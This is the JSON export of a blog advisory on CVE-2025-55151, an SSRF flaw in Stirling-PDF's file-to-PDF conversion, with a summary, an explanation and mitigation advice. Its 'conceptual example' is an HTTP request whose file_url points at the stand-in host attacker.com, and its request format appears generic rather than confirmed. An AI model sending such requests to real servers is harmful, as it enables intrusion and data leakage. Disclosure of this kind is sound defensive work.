{"id":64121,"date":"2025-08-17T13:39:27","date_gmt":"2025-08-17T13:39:27","guid":{"rendered":""},"modified":"2025-10-03T12:33:02","modified_gmt":"2025-10-03T18:33:02","slug":"cve-2025-55151-ssrf-vulnerability-in-stirling-pdf-s-file-conversion-functionality","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-55151-ssrf-vulnerability-in-stirling-pdf-s-file-conversion-functionality\/","title":{"rendered":"CVE-2025-55151: SSRF Vulnerability in Stirling-PDF’s File Conversion Functionality<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The Server-Side Request Forgery (SSRF) vulnerability in Stirling-PDF, a locally-hosted web application for manipulating PDF files, has been a significant cause of concern for users and cybersecurity professionals. This vulnerability, identified as CVE-2025-55151, essentially affects all versions of Stirling-PDF prior to version 1.1.0. It exposes systems to potential compromise and data<\/a> leakage, putting sensitive information at risk. This issue primarily affects the “convert file to pdf” functionality and is of critical importance due<\/a> to its high CVSS severity score of 8.6.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-55151
\nSeverity: High (CVSS 8.6)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Stirling-PDF | Up to 1.0.9<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The SSRF vulnerability<\/a> in Stirling-PDF arises from the “convert file to pdf” functionality that uses LibreOffice\u2019s unoconvert tool for conversion. During the conversion process, a malicious actor can manipulate server-side requests to gain unauthorized access<\/a> to resources that are otherwise inaccessible. This is achieved by inducing the server to make HTTP<\/a> requests to an arbitrary domain of the attacker’s choosing or even to internal resources within the network hosting the application. The vulnerability allows an attacker to bypass access controls such as firewalls, which can lead to unauthorized access of data<\/a> and potential system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability might be exploited:<\/p>\n

POST \/api\/v1\/convert\/file\/pdf HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ \"file_url\": \"http:\/\/attacker.com\/malicious_file.odt\" }<\/code><\/pre>\n
In this scenario, the attacker could host a malicious file on their own server and use the “file_url” parameter in the API request to trick the Stirling-PDF server into downloading and converting it, thereby exploiting the SSRF vulnerability<\/a>.<\/p>\n
Mitigation and Recommendations<\/strong><\/p>\n
The most effective way to mitigate this vulnerability is to apply the vendor’s patch by updating<\/a> to Stirling-PDF version 1.1.0 or later, which contains the fix for this issue. As an interim solution, you may also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability<\/a>. Regularly updating and patching software, as well as adhering to best practices in cybersecurity<\/a>, can go a long way towards preventing such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The Server-Side Request Forgery (SSRF) vulnerability in Stirling-PDF, a locally-hosted web application for manipulating PDF files, has been a significant cause of concern for users and cybersecurity professionals. This vulnerability, identified as CVE-2025-55151, essentially affects all versions of Stirling-PDF prior to version 1.1.0. It exposes systems to potential compromise and data leakage, putting sensitive […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[101],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64121","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-ssrf"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t